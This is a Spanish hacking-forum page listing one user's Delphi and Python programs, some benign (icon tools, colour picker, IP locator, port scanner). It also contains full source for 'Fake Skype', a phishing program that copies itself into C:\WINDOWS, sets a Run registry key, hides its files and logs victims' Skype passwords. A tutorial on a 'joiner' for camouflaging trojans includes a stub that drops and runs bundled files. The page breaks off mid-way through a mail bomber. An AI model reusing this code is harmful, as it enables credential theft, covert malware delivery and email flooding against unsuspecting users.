elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... 43
161  Programación / Programación General / [Delphi] DH Icon Changer 0.1 en: 30 Agosto 2013, 20:31 pm
Un simple programa para cambiar el icono de otro programa.

Una imagen :



El codigo :

Código
  1. // DH Icon Changer 0.1
  2. // Coded By Doddy H
  3. // Based on IconChanger By Chokstyle
  4. // Thanks to Chokstyle
  5.  
  6. unit icon;
  7.  
  8. interface
  9.  
  10. uses
  11.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.   Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls,
  13.   sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox;
  14.  
  15. type
  16.   TForm1 = class(TForm)
  17.     sSkinManager1: TsSkinManager;
  18.     sGroupBox1: TsGroupBox;
  19.     sEdit1: TsEdit;
  20.     sButton1: TsButton;
  21.     sGroupBox2: TsGroupBox;
  22.     sGroupBox3: TsGroupBox;
  23.     sButton2: TsButton;
  24.     sButton3: TsButton;
  25.     sButton4: TsButton;
  26.     sStatusBar1: TsStatusBar;
  27.     OpenDialog1: TOpenDialog;
  28.     sGroupBox4: TsGroupBox;
  29.     Image1: TImage;
  30.     sButton5: TsButton;
  31.     OpenDialog2: TOpenDialog;
  32.     Image2: TImage;
  33.     sEdit2: TsEdit;
  34.     procedure sButton1Click(Sender: TObject);
  35.     procedure FormCreate(Sender: TObject);
  36.     procedure sButton5Click(Sender: TObject);
  37.     procedure sButton2Click(Sender: TObject);
  38.  
  39.     procedure sButton4Click(Sender: TObject);
  40.     procedure sButton3Click(Sender: TObject);
  41.   private
  42.     { Private declarations }
  43.   public
  44.     { Public declarations }
  45.   end;
  46.  
  47. var
  48.   Form1: TForm1;
  49.  
  50. implementation
  51.  
  52. {$R *.dfm}
  53.  
  54. procedure TForm1.FormCreate(Sender: TObject);
  55. begin
  56.  
  57.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  58.   sSkinManager1.SkinName := 'falloutstyle';
  59.   sSkinManager1.Active := True;
  60.  
  61.   OpenDialog1.InitialDir := GetCurrentDir;
  62.   OpenDialog2.InitialDir := GetCurrentDir;
  63.   OpenDialog2.Filter := 'ICO|*.ico|';
  64.  
  65. end;
  66.  
  67. procedure TForm1.sButton1Click(Sender: TObject);
  68. begin
  69.  
  70.   if OpenDialog1.Execute then
  71.   begin
  72.     sEdit1.Text := OpenDialog1.FileName;
  73.   end;
  74. end;
  75.  
  76. procedure TForm1.sButton2Click(Sender: TObject);
  77. var
  78.   op: string;
  79.   change: dword;
  80.   valor: string;
  81.  
  82. begin
  83.  
  84.   valor := IntToStr(128);
  85.  
  86.   op := InputBox('Backup', 'Backup ?', 'Yes');
  87.  
  88.   if op = 'Yes' then
  89.   begin
  90.     CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName)
  91.           + 'backup' + ExtractFileExt(sEdit1.Text)), True);
  92.   end;
  93.  
  94.   try
  95.     begin
  96.       change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false);
  97.       LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar
  98.           (wideString(sEdit2.Text)));
  99.       EndUpdateResourceW(change, false);
  100.       sStatusBar1.Panels[0].Text := '[+] Changed !';
  101.       Form1.sStatusBar1.Update;
  102.     end;
  103.   except
  104.     begin
  105.       sStatusBar1.Panels[0].Text := '[-] Error';
  106.       Form1.sStatusBar1.Update;
  107.  
  108.     end;
  109.   end;
  110.  
  111. end;
  112.  
  113. procedure TForm1.sButton4Click(Sender: TObject);
  114. begin
  115.   Form1.Close();
  116. end;
  117.  
  118. procedure TForm1.sButton5Click(Sender: TObject);
  119. begin
  120.  
  121.   if OpenDialog2.Execute then
  122.   begin
  123.     Image1.Picture.LoadFromFile(OpenDialog2.FileName);
  124.     sEdit2.Text := OpenDialog2.FileName;
  125.   end;
  126.  
  127. end;
  128.  
  129. procedure TForm1.sButton3Click(Sender: TObject);
  130. begin
  131.   ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 +
  132.       'Contact to lepuke[at]hotmail[com]');
  133. end;
  134.  
  135. end.
  136.  
  137. // The End ?
  138.  

Si quieren bajar el programa lo pueden hacer de aca.
162  Programación / Programación General / [Delphi] Creacion de un Joiner en: 29 Agosto 2013, 01:16 am
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2.  
  3. var
  4.   archivo1: string; // Declaramos la variable archivo1 como string
  5.   archivo2: string; // Declaramos la variable archivo2 como string
  6.   uno: DWORD; // Declaramos la variable uno como dword
  7.   tam: DWORD; // Declaramos la variable tam como dword
  8.   dos: DWORD; // Declaramos la variable dos como dword
  9.   tres: DWORD; // Declaramos la variable tres como dword
  10.   todo: Pointer; // Declaramos la variable todo como pointer
  11.  
  12. begin
  13.  
  14.   uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe
  15.  
  16.   archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo
  17.  
  18.   dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  19.     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  20.   tam := GetFileSize(dos, nil); // Capturamos el tamaño
  21.   GetMem(todo, tam); // Capturamos la memoria
  22.   ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  23.   CloseHandle(dos); // Cerramos el archivo
  24.   UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
  25.       SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  26.  
  27.   archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo
  28.  
  29.   dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  30.     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  31.   tam := GetFileSize(dos, nil); // Capturamos el tamaño
  32.   GetMem(todo, tam); // Capturamos la memoria
  33.   ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  34.   CloseHandle(dos); // Cerramos el archivo
  35.   UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
  36.       SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  37.  
  38.   EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso
  39.  
  40. end;
  41.  

Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código
  1. program stub;
  2.  
  3. uses Windows, ShellApi; // Cargamos los modulos necesarios
  4.  
  5. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  6.   stdcall; // Empieza la funcion con los parametros
  7. var
  8.   data: DWORD; // Declaramos como DWORD la variable data
  9.   uno: DWORD; // Declaramos como DWORD la variable uno
  10.   dos: DWORD; // Declaramos como DWORD la variable dos
  11.  
  12. begin
  13.  
  14.   Result := True; // Retornamos true en la funcion
  15.  
  16.   data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos
  17.  
  18.   uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  19.     CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo
  20.   WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  21.     dos, nil); // Escribimos en el archivo creado
  22.  
  23.   CloseHandle(uno); // Cerramos
  24.  
  25.   ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL);
  26.   // Ejecutamos el archivo
  27.  
  28. end;
  29.  
  30. begin
  31.   EnumResourceNames(0, RT_RCDATA, @start, 0);
  32.  
  33.   // Funcion para cargar los archivos del joiner
  34. end.
  35.  


Una imagen del codigo comentado.



0x04 : Probando el Joiner

Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo"

Primero cargamos el generador :



Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado.



Eso es todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--
163  Programación / Programación General / [Delphi] DH GetColor en: 23 Agosto 2013, 18:44 pm
Un simple programa para buscar el color de un pixel.

Una imagen :



El codigo :

Código
  1. // DH GetColor 0.1
  2. // Coded By Doddy H
  3. // Credits :
  4. // Based on  : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way
  5. // Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor
  6.  
  7. unit get;
  8.  
  9. interface
  10.  
  11. uses
  12.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  13.   Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls,
  14.   sStatusBar, acPNG, sMemo, Clipbrd;
  15.  
  16. type
  17.   TForm1 = class(TForm)
  18.     Timer1: TTimer;
  19.     sSkinManager1: TsSkinManager;
  20.     sGroupBox1: TsGroupBox;
  21.     Shape1: TShape;
  22.     sLabel1: TsLabel;
  23.     sLabel2: TsLabel;
  24.     sStatusBar1: TsStatusBar;
  25.     sGroupBox2: TsGroupBox;
  26.     Image1: TImage;
  27.     sLabel3: TsLabel;
  28.     procedure Timer1Timer(Sender: TObject);
  29.     procedure FormCreate(Sender: TObject);
  30.     procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
  31.  
  32.   private
  33.     capturanow: HDC;
  34.     { Private declarations }
  35.   public
  36.     { Public declarations }
  37.   end;
  38.  
  39. var
  40.   Form1: TForm1;
  41.  
  42. implementation
  43.  
  44. {$R *.dfm}
  45.  
  46. procedure TForm1.FormCreate(Sender: TObject);
  47. begin
  48.  
  49.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  50.   sSkinManager1.SkinName := 'cold';
  51.   sSkinManager1.Active := True;
  52.  
  53.   sLabel3.Caption := 'This program is used to' + #13 +
  54.     'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 +
  55.     'the color to the clipboard' + #13 + #13 + #13 + 'The End ?';
  56.  
  57.   capturanow := GetDC(0);
  58.   if (capturanow <> 0) then
  59.     Timer1.Enabled := True;
  60. end;
  61.  
  62. procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState);
  63. begin
  64.   if (Shift = [ssCtrl]) and (Key = 86) then
  65.   begin
  66.     Clipboard().AsText := sLabel2.Caption;
  67.     sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard';
  68.     Form1.sStatusBar1.Update;
  69.   end;
  70. end;
  71.  
  72. procedure TForm1.Timer1Timer(Sender: TObject);
  73. var
  74.   aca: TPoint;
  75.   color: TColor;
  76.   re: string;
  77.  
  78. begin
  79.  
  80.   if GetCursorPos(aca) then
  81.   begin
  82.     color := GetPixel(capturanow, aca.x, aca.y);
  83.     Shape1.Brush.color := color;
  84.     re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2)
  85.       + IntToHex(GetBValue(color), 2);
  86.     sLabel2.Caption := re;
  87.     sStatusBar1.Panels[0].Text := '[+] Finding colors ...';
  88.     Form1.sStatusBar1.Update;
  89.   end;
  90. end;
  91.  
  92. end.
  93.  
  94. // The End ?
  95.  

Si quieren bajar el programa lo pueden hacer de aca.
164  Programación / Scripting / [Python-Android] LocateIP 0.1 en: 19 Agosto 2013, 20:19 pm
El primer script que hice en python para android.

El codigo :

Código
  1. # !usr/bin/python
  2. # LocateIP 0.1 (C) Doddy Hackman 2013
  3. # Android Version
  4.  
  5. import android,urllib2,re,socket
  6.  
  7. aplicacion = android.Android()
  8.  
  9. nave = urllib2.build_opener()	
  10. nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]	
  11.  
  12. def toma(web) :
  13.  nave = urllib2.Request(web)
  14.  nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  15.  op = urllib2.build_opener()
  16.  return op.open(nave).read()
  17.  
  18. def search(pagina):
  19.  
  20.  respuesta = ""
  21.  
  22.  ip = socket.gethostbyname(str(pagina))
  23.  code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip)
  24.  
  25.  respuesta = respuesta + "[++] IP Address Location\n"
  26.  
  27.  if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  28.   rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  29.   city = rex[0][1]
  30.   respuesta = respuesta + "\n[++] City : "+city
  31.  else:
  32.   respuesta = respuesta + "\n[++] City : Not Found"
  33.  
  34.  if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  35.   rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  36.   country = rex[0][1]
  37.   respuesta = respuesta + "\n[++] Country : "+country
  38.  else:
  39.   respuesta = respuesta + "\n[++] Country : Not Found"
  40.  
  41.  if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)):
  42.   rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)
  43.   state = rex[0][1]
  44.   respuesta = respuesta + "\n[++] State : "+state
  45.  else:
  46.   respuesta = respuesta + "\n[++] State : Not Found"
  47.  
  48.  
  49.  code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  50.  
  51.  if (re.findall("whois\/(.*?)\">Whois",code)):
  52.   rex = re.findall("whois\/(.*?)\">Whois",code)
  53.   respuesta = respuesta + "\n\n[++] DNS Founds\n"
  54.   for dns in rex:
  55.    respuesta = respuesta + "\n[+] "+dns
  56.  
  57.  return respuesta
  58.  
  59. def menu():
  60.  
  61.  aplicacion.dialogCreateAlert("LocateIP 0.1")
  62.  aplicacion.dialogSetItems(["Search","About","Exit"])
  63.  aplicacion.dialogShow()
  64.  re = aplicacion.dialogGetResponse().result
  65.  
  66.  re2 = re["item"]
  67.  
  68.  if re2==0:
  69.  
  70.   red = aplicacion.dialogGetInput("LocateIP 0.1","Target")
  71.   ref = str(red[1])
  72.  
  73.   aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...")
  74.   aplicacion.dialogShow()
  75.  
  76.   don = search(ref)
  77.  
  78.   aplicacion.dialogDismiss()
  79.  
  80.   aplicacion.dialogCreateAlert("LocateIP 0.1",don)
  81.   aplicacion.dialogSetPositiveButtonText("Done")
  82.   aplicacion.dialogShow()
  83.  
  84.   op = aplicacion.dialogGetResponse().result
  85.  
  86.   if op["which"] == "positive" :
  87.  
  88.    menu()
  89.  
  90.  if re2==1 :
  91.  
  92.   aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013")
  93.   aplicacion.dialogSetPositiveButtonText("Done")
  94.   aplicacion.dialogShow()
  95.   re3 = aplicacion.dialogGetResponse().result
  96.  
  97.   if re3["which"] == "positive" :
  98.  
  99.    menu()
  100.  
  101.   if re3==2:
  102.  
  103.    aplicacion.exit()
  104.  
  105. menu()
  106.  
  107. # The End ?
  108.  

Les dejo unas imagenes de como funciona en mi tablet argos.







Eso es todo.
165  Programación / Programación General / [Delphi] Fake Skype 0.1 en: 16 Agosto 2013, 18:40 pm
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD.

Una imagen :



El codigo :

Código
  1. // Fake Skype 0.1
  2. // Coded By Doddy H
  3.  
  4. unit fake;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  11.  
  12. type
  13.   TForm1 = class(TForm)
  14.     Image1: TImage;
  15.     Edit1: TEdit;
  16.     Edit2: TEdit;
  17.     Image2: TImage;
  18.     procedure Image2Click(Sender: TObject);
  19.     procedure FormCreate(Sender: TObject);
  20.     procedure Edit2Click(Sender: TObject);
  21.     procedure Edit1Click(Sender: TObject);
  22.  
  23.   private
  24.     { Private declarations }
  25.   public
  26.     { Public declarations }
  27.   end;
  28.  
  29. var
  30.   Form1: TForm1;
  31.  
  32. implementation
  33.  
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.Edit1Click(Sender: TObject);
  37. begin
  38.   Edit1.Text := '';
  39. end;
  40.  
  41. procedure TForm1.Edit2Click(Sender: TObject);
  42. begin
  43.   Edit2.Text := '';
  44. end;
  45.  
  46. procedure TForm1.FormCreate(Sender: TObject);
  47.  
  48. var
  49.   nombrereal: string;
  50.   rutareal: string;
  51.   yalisto: string;
  52.   her: TRegistry;
  53.  
  54. begin
  55.  
  56.   nombrereal := ExtractFileName(ParamStr(0));
  57.   rutareal := ParamStr(0);
  58.   yalisto := 'C:\WINDOWS\' + nombrereal;
  59.  
  60.   MoveFile(Pchar(rutareal), Pchar(yalisto));
  61.  
  62.   her := TRegistry.Create;
  63.   her.RootKey := HKEY_LOCAL_MACHINE;
  64.  
  65.   her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  66.   her.WriteString('uber', yalisto);
  67.   her.Free;
  68.  
  69.   SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  70.   SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  71.  
  72. end;
  73.  
  74. procedure TForm1.Image2Click(Sender: TObject);
  75. var
  76.   archivo: TextFile;
  77.   ruta: string;
  78.  
  79. begin
  80.  
  81.   if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  82.   begin
  83.     WinExec('notepad c:/windows/datos.txt', SW_SHOW);
  84.   end
  85.   else
  86.   begin
  87.  
  88.     if Edit1.Text = '' then
  89.     begin
  90.       ShowMessage(
  91.         'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com');
  92.     end;
  93.     if Edit2.Text = '' then
  94.     begin
  95.       ShowMessage('Escribe tu contraseña');
  96.     end
  97.     else
  98.     begin
  99.       if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.       begin
  101.         ShowMessage('Escribe tu contraseña');
  102.       end
  103.       else
  104.       begin
  105.         ruta := 'c:/windows/datos.txt'; // mod
  106.         if FileExists(ruta) then
  107.         begin
  108.           AssignFile(archivo, ruta);
  109.           FileMode := fmOpenWrite;
  110.           Append(archivo);
  111.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  112.               Edit2.Text);
  113.           CloseFile(archivo);
  114.           Application.MessageBox(
  115.             'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  116.             MB_OK);
  117.           Form1.Close;
  118.         end
  119.         else
  120.         begin
  121.           AssignFile(archivo, ruta);
  122.           FileMode := fmOpenWrite;
  123.           ReWrite(archivo);
  124.           Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' +
  125.               Edit2.Text);
  126.           CloseFile(archivo);
  127.           Application.MessageBox(
  128.             'Se ha producido un error , es necesario reiniciar Skype', 'Skype',
  129.             MB_OK);
  130.           Form1.Close;
  131.         end;
  132.       end;
  133.     end;
  134.   end;
  135.  
  136. end;
  137.  
  138. end.
  139.  
  140. // The End ?
  141.  

Si quieren bajarlo lo pueden hacer de aca.
166  Programación / Programación General / [Delphi] Sex Icons 0.1 en: 9 Agosto 2013, 17:59 pm
Un simple programa para buscar y extraer iconos.

Una imagen :



El codigo :

Código
  1. // Sex Icons 0.1
  2. // Coded By Doddy H
  3.  
  4. unit sex;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList;
  11.  
  12. type
  13.   TForm1 = class(TForm)
  14.     Image1: TImage;
  15.     GroupBox1: TGroupBox;
  16.     Label1: TLabel;
  17.     Edit1: TEdit;
  18.     ListView1: TListView;
  19.     Button1: TButton;
  20.     GroupBox2: TGroupBox;
  21.     Button2: TButton;
  22.     ImageList1: TImageList;
  23.     GroupBox3: TGroupBox;
  24.     Image2: TImage;
  25.  
  26.     Image3: TImage;
  27.     SaveDialog1: TSaveDialog;
  28.     procedure Button1Click(Sender: TObject);
  29.     procedure ListView1DblClick(Sender: TObject);
  30.     procedure Button2Click(Sender: TObject);
  31.     procedure FormCreate(Sender: TObject);
  32.   private
  33.     { Private declarations }
  34.   public
  35.     { Public declarations }
  36.   end;
  37.  
  38. var
  39.   Form1: TForm1;
  40.  
  41. implementation
  42.  
  43. {$R *.dfm}
  44.  
  45. procedure TForm1.Button1Click(Sender: TObject);
  46. var
  47.   buscar: TSearchRec;
  48.   Icon: TIcon;
  49.   listate: TListItem;
  50.   getdata: SHFILEINFO;
  51.   dirnow: string;
  52.  
  53. begin
  54.  
  55.   dirnow := Edit1.Text;
  56.  
  57.   ListView1.Items.Clear;
  58.   Icon := TIcon.Create;
  59.   ListView1.Items.BeginUpdate;
  60.  
  61.   if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
  62.   begin
  63.     repeat
  64.       if (buscar.Attr <> faDirectory) then
  65.       begin
  66.  
  67.         with ListView1 do
  68.         begin
  69.  
  70.           listate := ListView1.Items.Add;
  71.  
  72.           SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  73.               , SHGFI_DISPLAYNAME);
  74.           listate.Caption := buscar.Name;
  75.  
  76.           SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  77.               , SHGFI_TYPENAME);
  78.           listate.SubItems.Add(getdata.szTypeName);
  79.  
  80.           SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata)
  81.               , SHGFI_ICON or SHGFI_SMALLICON);
  82.           Icon.Handle := getdata.hIcon;
  83.           listate.ImageIndex := ImageList1.AddIcon(Icon);
  84.  
  85.           DestroyIcon(getdata.hIcon);
  86.  
  87.         end;
  88.  
  89.       end
  90.  
  91.       until FindNext(buscar) <> 0;
  92.       FindClose(buscar);
  93.     end;
  94.  
  95.     ListView1.Items.EndUpdate;
  96.  
  97.   end;
  98.  
  99.   procedure TForm1.Button2Click(Sender: TObject);
  100.   begin
  101.  
  102.     if SaveDialog1.Execute then
  103.     begin
  104.       Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName);
  105.       ShowMessage('Icon Extracted');
  106.     end;
  107.  
  108.   end;
  109.  
  110.   procedure TForm1.FormCreate(Sender: TObject);
  111.   begin
  112.  
  113.     SaveDialog1.Title := 'Save your Icon';
  114.     SaveDialog1.InitialDir := GetCurrentDir;
  115.     SaveDialog1.DefaultExt := 'ico';
  116.  
  117.   end;
  118.  
  119.   procedure TForm1.ListView1DblClick(Sender: TObject);
  120.  
  121.   var
  122.     acanow: TIcon;
  123.     archivo: string;
  124.     bajar: TSHFileInfo;
  125.  
  126.   begin
  127.  
  128.     archivo := Edit1.Text + ListView1.Selected.Caption;
  129.     if FileExists(archivo) then
  130.     begin
  131.       acanow := TIcon.Create;
  132.       SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON);
  133.       acanow.Handle := bajar.hIcon;
  134.       Image2.Picture.Icon := acanow;
  135.       acanow.Free;
  136.     end;
  137.   end;
  138.  
  139. end.
  140.  
  141. // The End ?
  142.  

Si quieren bajarlo lo pueden hacer de aca
167  Programación / Programación General / [Delphi] DH Port Scanner 0.2 en: 2 Agosto 2013, 23:50 pm
Un simple Port Scanner en Delphi.

Una imagen :



El codigo :

Código
  1. // DH Port Scanner 0.2
  2. // Coded By Doddy H
  3.  
  4. unit port;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg,
  11.   ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent,
  12.   IdTCPConnection;
  13.  
  14. type
  15.   TForm1 = class(TForm)
  16.     sSkinManager1: TsSkinManager;
  17.     sGroupBox1: TsGroupBox;
  18.     sGroupBox2: TsGroupBox;
  19.     sGroupBox3: TsGroupBox;
  20.     sButton1: TsButton;
  21.     sMemo1: TsMemo;
  22.     Image1: TImage;
  23.     sStatusBar1: TsStatusBar;
  24.     sLabel1: TsLabel;
  25.     sEdit1: TsEdit;
  26.     sLabel2: TsLabel;
  27.     sEdit2: TsEdit;
  28.     sLabel3: TsLabel;
  29.     sEdit3: TsEdit;
  30.     sButton2: TsButton;
  31.     sButton3: TsButton;
  32.     sButton4: TsButton;
  33.     IdTCPClient1: TIdTCPClient;
  34.     procedure sButton1Click(Sender: TObject);
  35.     procedure sButton2Click(Sender: TObject);
  36.     procedure sButton3Click(Sender: TObject);
  37.     procedure sButton4Click(Sender: TObject);
  38.     procedure FormCreate(Sender: TObject);
  39.  
  40.   private
  41.     { Private declarations }
  42.   public
  43.     { Public declarations }
  44.   end;
  45.  
  46. var
  47.   Form1: TForm1;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure TForm1.FormCreate(Sender: TObject);
  54. begin
  55.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  56.   sSkinManager1.SkinName := 'matrix';
  57.   sSkinManager1.Active := True;
  58. end;
  59.  
  60. procedure TForm1.sButton1Click(Sender: TObject);
  61. var
  62.   i: Integer;
  63. begin
  64.  
  65.   sMemo1.Clear;
  66.  
  67.   For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do
  68.   begin
  69.     try
  70.       begin
  71.  
  72.         sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i);
  73.         Form1.sStatusBar1.Update;
  74.  
  75.         IdTCPClient1.Host := sEdit1.Text;
  76.         IdTCPClient1.port := i;
  77.         IdTCPClient1.ConnectTimeout := 1;
  78.         IdTCPClient1.Connect;
  79.  
  80.         sMemo1.Lines.Add('Port Open : ' + IntToStr(i));
  81.  
  82.         IdTCPClient1.Disconnect;
  83.  
  84.       end;
  85.     except
  86.       begin
  87.         //
  88.       end;
  89.     end;
  90.  
  91.   end;
  92.   sStatusBar1.Panels[0].Text := '[+] Finished';
  93.   Form1.sStatusBar1.Update;
  94. end;
  95.  
  96. procedure TForm1.sButton2Click(Sender: TObject);
  97. begin
  98.   Abort;
  99. end;
  100.  
  101. procedure TForm1.sButton3Click(Sender: TObject);
  102. begin
  103.   ShowMessage('Contact to lepuke[at]hotmail[com]');
  104. end;
  105.  
  106. procedure TForm1.sButton4Click(Sender: TObject);
  107. begin
  108.   Form1.Close();
  109. end;
  110.  
  111. end.
  112.  
  113. // The End ?
  114.  

Si quieren bajar el programa lo pueden hacer de aca.
168  Programación / Programación General / [Delphi] DH Bomber 0.3 en: 26 Julio 2013, 21:19 pm
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :



El codigo :

Código
  1. // DH Bomber 0.3
  2. // Coded By Doddy H
  3. // Credits :
  4. // Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html
  5.  
  6. unit dh;
  7.  
  8. interface
  9.  
  10. uses
  11.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.   Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  13.   sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  14.   IdIOHandlerSocket,
  15.   IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  16.   IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  17.   IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;
  18.  
  19. type
  20.   TForm1 = class(TForm)
  21.     sSkinManager1: TsSkinManager;
  22.     sGroupBox1: TsGroupBox;
  23.     Image1: TImage;
  24.     sLabel1: TsLabel;
